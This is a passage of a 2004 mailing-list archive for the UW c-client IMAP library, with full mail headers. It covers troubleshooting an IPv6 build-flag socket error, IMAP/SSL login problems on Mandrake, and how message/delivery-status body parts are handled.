-- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 29 18:26:42 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 2004 18:26:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U1QgQl021686 for ; Wed, 29 Sep 2004 18:26:42 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U1QfFI019656 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 29 Sep 2004 18:26:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8U1PtOJ008226; Wed, 29 Sep 2004 18:25:55 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U1Owse073398 for ; Wed, 29 Sep 2004 18:24:58 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8U1OwmV005483 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 29 Sep 2004 18:24:58 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U1OvOP000819; Wed, 29 Sep 2004 18:24:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U1Ov5P015841 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 29 Sep 2004 18:24:57 -0700 Message-Id: Date: Wed, 29 Sep 2004 18:22:54 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sahil Tandon Cc: c-client@u.washington.edu Subject: Re: Unable to create TCP socket: Protocol not supported (errflg=1) in Unknown on line 0 In-Reply-To: <415B5C5F.5030503@hamla.org> References: <415B5C5F.5030503@hamla.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN "Unable to create TCP socket: Protocol not supported" does come from the c-client library; the rest (starting with the errflg stuff) must be coming from Horde. What operating system are you running? Did you build imap-2004a yourself? Is there any possibility that it could have been built with IPv6 support ("IP=6" in the make command line) but run on an IPv4 only system? Have you tried imap-2004b? This is currently available in development snapshots: ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 29 18:49:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 2004 18:49:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U1nZMp022440 for ; Wed, 29 Sep 2004 18:49:35 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U1nZV7019786 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 29 Sep 2004 18:49:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8U1mlB1008666; Wed, 29 Sep 2004 18:48:47 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U1lgUI008934 for ; Wed, 29 Sep 2004 18:47:42 -0700 Received: from mta4.srv.hcvlny.cv.net (mta4.srv.hcvlny.cv.net [167.206.5.70]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8U1lgbh016051 for ; Wed, 29 Sep 2004 18:47:42 -0700 Received: from [192.168.1.101] (ool-182e70a4.dyn.optonline.net [24.46.112.164]) by mta4.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0I4T001C2ZNHPB@mta4.srv.hcvlny.cv.net> for c-client@u.washington.edu; Wed, 29 Sep 2004 21:47:41 -0400 (EDT) Message-Id: <415B65F6.6030903@hamla.org> Date: Wed, 29 Sep 2004 21:48:38 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Re: Unable to create TCP socket: Protocol not supported (errflg=1) in Unknown on line 0 In-Reply-To: References: <415B5C5F.5030503@hamla.org> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, RCVD_IN_NJABL_ORG 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: [...] > What operating system are you running? FreeBSD-CURRENT. > Did you build imap-2004a yourself? I built it from ports with one extra, trivial patch to change CREATEPROTO=unixproto -> CREATEPROTO=mbxproto. > Is there any possibility that it could have been built with IPv6 > support ("IP=6" in the make command line) but run on an IPv4 only > system? This is probably it! I didn't compile with "IP=6" in the command line, but it looks like one of the FreeBSD patches modifies the "IP=" line in src/osdep/unix/Makefile to "6" from "4". I'll try reverting that before attempting the development snapshot. Thanks for your help. [...] -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Wed Sep 29 19:21:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 2004 19:21:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U2LbUg023315 for ; Wed, 29 Sep 2004 19:21:37 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U2LaNF021585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 29 Sep 2004 19:21:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8U2KrY9012658; Wed, 29 Sep 2004 19:20:53 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U2JbC4091444 for ; Wed, 29 Sep 2004 19:19:38 -0700 Received: from mta10.srv.hcvlny.cv.net (mta10.srv.hcvlny.cv.net [167.206.5.85]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8U2JbN0010907 for ; Wed, 29 Sep 2004 19:19:37 -0700 Received: from [192.168.1.101] (ool-182e70a4.dyn.optonline.net [24.46.112.164]) by mta10.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0I4U008KU1438A@mta10.srv.hcvlny.cv.net> for c-client@u.washington.edu; Wed, 29 Sep 2004 22:19:15 -0400 (EDT) Message-Id: <415B6D60.8000007@hamla.org> Date: Wed, 29 Sep 2004 22:20:16 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Re: Unable to create TCP socket: Protocol not supported (errflg=1) in Unknown on line 0 In-Reply-To: References: <415B5C5F.5030503@hamla.org> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, RCVD_IN_NJABL_ORG 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: [...] > Did you build imap-2004a yourself? Is there any possibility that it > could have been built with IPv6 support ("IP=6" in the make command > line) but run on an IPv4 only system? This was indeed the problem. After recompiling with IP=4, the error disappears. Thanks Mark. [...] -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Wed Sep 29 19:48:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 2004 19:48:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U2maTL024250 for ; Wed, 29 Sep 2004 19:48:36 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U2mZs5022566 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 29 Sep 2004 19:48:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8U2lq9t003682; Wed, 29 Sep 2004 19:47:53 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U2lBEZ091548 for ; Wed, 29 Sep 2004 19:47:11 -0700 Received: from sccrmhc13.comcast.net (sccrmhc13.comcast.net [204.127.202.64]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8U2l77v016123 for ; Wed, 29 Sep 2004 19:47:11 -0700 Received: from [127.0.0.1] (h00045a2a2d20.ne.client2.attbi.com[66.30.194.132]) by comcast.net (sccrmhc13) with ESMTP id <20040930024455016001hl5ce>; Thu, 30 Sep 2004 02:44:56 +0000 Message-Id: <415B7328.5060501@pfdstudio.com> Date: Wed, 29 Sep 2004 22:44:56 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Davis To: c-client@u.washington.edu Subject: Re: Basic installation questions - Mandrake 10 In-Reply-To: <415377E1.6050702@pfdstudio.com> References: <4152DCDC.5000601@pfdstudio.com> <20040923163406.GE32646@physik.uni-augsburg.de> <415377E1.6050702@pfdstudio.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------020706060809040208050606" X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------020706060809040208050606 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Peter Davis wrote: > Ralf Utermann wrote: > >>On Thu, Sep 23, 2004 at 10:25:32AM -0400, Peter Davis wrote: >> >> >>[...] >> >> >>>trying to set it up as an IMAP4/SquirrelMail server. I built openssl and >>>imap, and I can telnet to the POP and IMAP servers, but I can't log in. >>> >>> >>[...] >>To connect on the command line you use openssl, like: >>openssl s_client -connect :995 >> >> > > I just tried this from Windows, and got: > > CONNECTED(00000003) > write:errno=104 > > Does that indicate anything? I've tried this locally also, with the same result. I don't undertand. I built and installed openssl, and I built and installed imap. But I can't log in. I can't find any documentation on why I can't log in, and I can't find any documentation on how to actually connect this with the Gb of mail that I have. Any clues? Thanks, -pd -- -------- Peter Davis Funny stuff at http://www.pfdstudio.com List of resources for children's writers and illustrators at: http://www.pfdstudio.com/cwrl.html --------------020706060809040208050606 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Peter Davis wrote:
    Ralf Utermann wrote: 
    On Thu, Sep 23, 2004 at 10:25:32AM -0400, Peter Davis wrote:
  
    [...]
  
    trying to set it up as an IMAP4/SquirrelMail server. I built openssl and 
imap, and I can telnet to the POP and IMAP servers, but I can't log in.  
    
    [...]
To connect on the command line you use openssl, like:
openssl s_client -connect <mailserver>:995

    I just tried this from Windows, and got:

    CONNECTED(00000003)
    write:errno=104

    Does that indicate anything?
    I've tried this locally also, with the same result.

    I don't undertand.  I built and installed openssl, and I built and installed imap.  But I can't log in.  I can't find any documentation on why I can't log in, and I can't find any documentation on how to actually connect this with the Gb of mail that I have.

    Any clues?

    Thanks,

    -pd

    -- 
--------
                             Peter Davis
               Funny stuff at http://www.pfdstudio.com
    List of resources for children's writers and illustrators at:
                  http://www.pfdstudio.com/cwrl.html
    --------------020706060809040208050606-- From pinedev@shivax2.cac.washington.edu Thu Sep 30 01:04:31 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 2004 01:04:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U84Ve2002330 for ; Thu, 30 Sep 2004 01:04:31 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U84Ucf032670 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 30 Sep 2004 01:04:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8U83Z0f016862; Thu, 30 Sep 2004 01:03:35 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8U82JG2022518 for ; Thu, 30 Sep 2004 01:02:19 -0700 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8U82HQk009202 for ; Thu, 30 Sep 2004 01:02:18 -0700 Received: from bernina.physik.uni-augsburg.de ([137.250.80.10]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.34) id 1CCvtI-00083u-Pm; Thu, 30 Sep 2004 10:02:16 +0200 Received: from ralfu by bernina.Physik.Uni-Augsburg.DE with local (Exim 4.30) id 1CCvtI-00064U-VS; Thu, 30 Sep 2004 10:02:16 +0200 Message-Id: <20040930080216.GA45986@physik.uni-augsburg.de> Date: Thu, 30 Sep 2004 10:02:16 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: Peter Davis Cc: c-client@u.washington.edu Subject: Re: Basic installation questions - Mandrake 10 In-Reply-To: <415B7328.5060501@pfdstudio.com> References: <4152DCDC.5000601@pfdstudio.com> <20040923163406.GE32646@physik.uni-augsburg.de> <415377E1.6050702@pfdstudio.com> <415B7328.5060501@pfdstudio.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Sender: Ralf Utermann X-Virus-Scanned: 5ac2cf0bc4ff2592a5cc3e9634967a97 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Sep 29, 2004 at 10:44:56PM -0400, Peter Davis wrote: > Peter Davis wrote: > > >Ralf Utermann wrote: > > > >>On Thu, Sep 23, 2004 at 10:25:32AM -0400, Peter Davis wrote: > >> > >> > >>[...] > >> > >> > >>>trying to set it up as an IMAP4/SquirrelMail server. I built openssl and > >>>imap, and I can telnet to the POP and IMAP servers, but I can't log in. > >>> > >>> > >>[...] > >>To connect on the command line you use openssl, like: > >>openssl s_client -connect :995 > >> > >> > > > >I just tried this from Windows, and got: > > > >CONNECTED(00000003) > >write:errno=104 > > > >Does that indicate anything? > > I've tried this locally also, with the same result. > > I don't undertand. I built and installed openssl, and I built and > installed imap. But I can't log in. I can't find any documentation on > why I can't log in, and I can't find any documentation on how to > actually connect this with the Gb of mail that I have. If everything is installed as default and correct on the imap-server, then check your cert file with something like: openssl x509 -noout -fingerprint -inform PEM < /usr/local/certs/imapd.pem It should give a md5 fingerprint. > > Any clues? > > Thanks, > > -pd > > -- > -------- > Peter Davis > Funny stuff at http://www.pfdstudio.com > List of resources for children's writers and illustrators at: > http://www.pfdstudio.com/cwrl.html > -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 From pinedev@shivax2.cac.washington.edu Thu Sep 30 04:34:33 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 2004 04:34:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UBYXuW010173 for ; Thu, 30 Sep 2004 04:34:33 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UBYWVf006713 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 30 Sep 2004 04:34:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8UBXfZq012614; Thu, 30 Sep 2004 04:33:41 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UBWa7k024070 for ; Thu, 30 Sep 2004 04:32:36 -0700 Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8UBWZRm011407 for ; Thu, 30 Sep 2004 04:32:36 -0700 Received: from [127.0.0.1] (h00045a2a2d20.ne.client2.attbi.com[66.30.194.132]) by comcast.net (rwcrmhc12) with ESMTP id <2004093011323501400beq9he>; Thu, 30 Sep 2004 11:32:35 +0000 Message-Id: <415BEED5.1010701@pfdstudio.com> Date: Thu, 30 Sep 2004 07:32:37 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Davis To: Ralf Utermann Cc: c-client@u.washington.edu Subject: Re: Basic installation questions - Mandrake 10 In-Reply-To: <20040930080216.GA45986@physik.uni-augsburg.de> References: <4152DCDC.5000601@pfdstudio.com> <20040923163406.GE32646@physik.uni-augsburg.de> <415377E1.6050702@pfdstudio.com> <415B7328.5060501@pfdstudio.com> <20040930080216.GA45986@physik.uni-augsburg.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ralf Utermann wrote: >If everything is installed as default and correct on the imap-server, >then check your cert file with something like: > >openssl x509 -noout -fingerprint -inform PEM < /usr/local/certs/imapd.pem > > I did find a /usr/local/ssl/certs directory, but no imapd.pem file. There's no such file in the imap source hierarchy either. How should that file have been created? >It should give a md5 fingerprint. > > What would that look like? Thanks very much. -pd -- -------- Peter Davis Funny stuff at http://www.pfdstudio.com List of resources for children's writers and illustrators at: http://www.pfdstudio.com/cwrl.html From pinedev@shivax2.cac.washington.edu Thu Sep 30 10:25:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 2004 10:25:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UHPawd023826 for ; Thu, 30 Sep 2004 10:25:36 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UHPYvl020326 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 30 Sep 2004 10:25:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8UHNjhQ005012; Thu, 30 Sep 2004 10:23:45 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UHLU2w053648 for ; Thu, 30 Sep 2004 10:21:30 -0700 Received: from next-online.net ([12.46.48.32]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8UHLTNS007345 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 30 Sep 2004 10:21:30 -0700 Received: from [10.17.1.178] (account rdingman [10.17.1.178] verified) by next-online.net (CommuniGate Pro SMTP 4.2b7) with ESMTP id 232844 for c-client@u.washington.edu; Thu, 30 Sep 2004 10:21:29 -0700 Message-Id: <2AB1B5FE-1305-11D9-B563-000A95C454B0@next-online.net> Date: Thu, 30 Sep 2004 10:21:29 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ryan Dingman To: c-client@u.washington.edu Subject: message/delivery-status handling Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN c-client (imap-2004a) seems to completely ignore the information contained in body parts whose content-type is message/delivery-status. Am I missing something? If not, are there any plans to add support for getting the information for this content-type? Thanks, ryan -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 30 11:58:07 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 2004 11:58:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UIw7Jp028102 for ; Thu, 30 Sep 2004 11:58:07 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UIw6XG017695 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 30 Sep 2004 11:58:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8UIq90X018486; Thu, 30 Sep 2004 11:52:09 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UIp9Um021346 for ; Thu, 30 Sep 2004 11:51:09 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8UIp8oD024947 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 30 Sep 2004 11:51:09 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UIp8oG006630; Thu, 30 Sep 2004 11:51:08 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UIp8Ma026083; Thu, 30 Sep 2004 11:51:08 -0700 Message-Id: Date: Thu, 30 Sep 2004 11:51:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ryan Dingman Cc: c-client@u.washington.edu Subject: Re: message/delivery-status handling In-Reply-To: <2AB1B5FE-1305-11D9-B563-000A95C454B0@next-online.net> References: <2AB1B5FE-1305-11D9-B563-000A95C454B0@next-online.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __PORN_PHRASE_15_0 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Sep 2004, Ryan Dingman wrote: > c-client (imap-2004a) seems to completely ignore the information contained in > body parts whose content-type is message/delivery-status. Am I missing > something? If not, are there any plans to add support for getting the > information for this content-type? As in IMAP, all MESSAGE subtypes other than MESSAGE/RFC822 are treated as a basic type; that is, like APPLICATION, AUDIO, IMAGE, and VIDEO. The contents of that body part can be fetched as in the other basic types. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Sep 30 12:31:14 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 2004 12:31:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJVElJ029557 for ; Thu, 30 Sep 2004 12:31:14 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJVDY0020281 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 30 Sep 2004 12:31:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8UJU5Om012328; Thu, 30 Sep 2004 12:30:06 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJTDVD030106 for ; Thu, 30 Sep 2004 12:29:13 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8UJTCvg002769 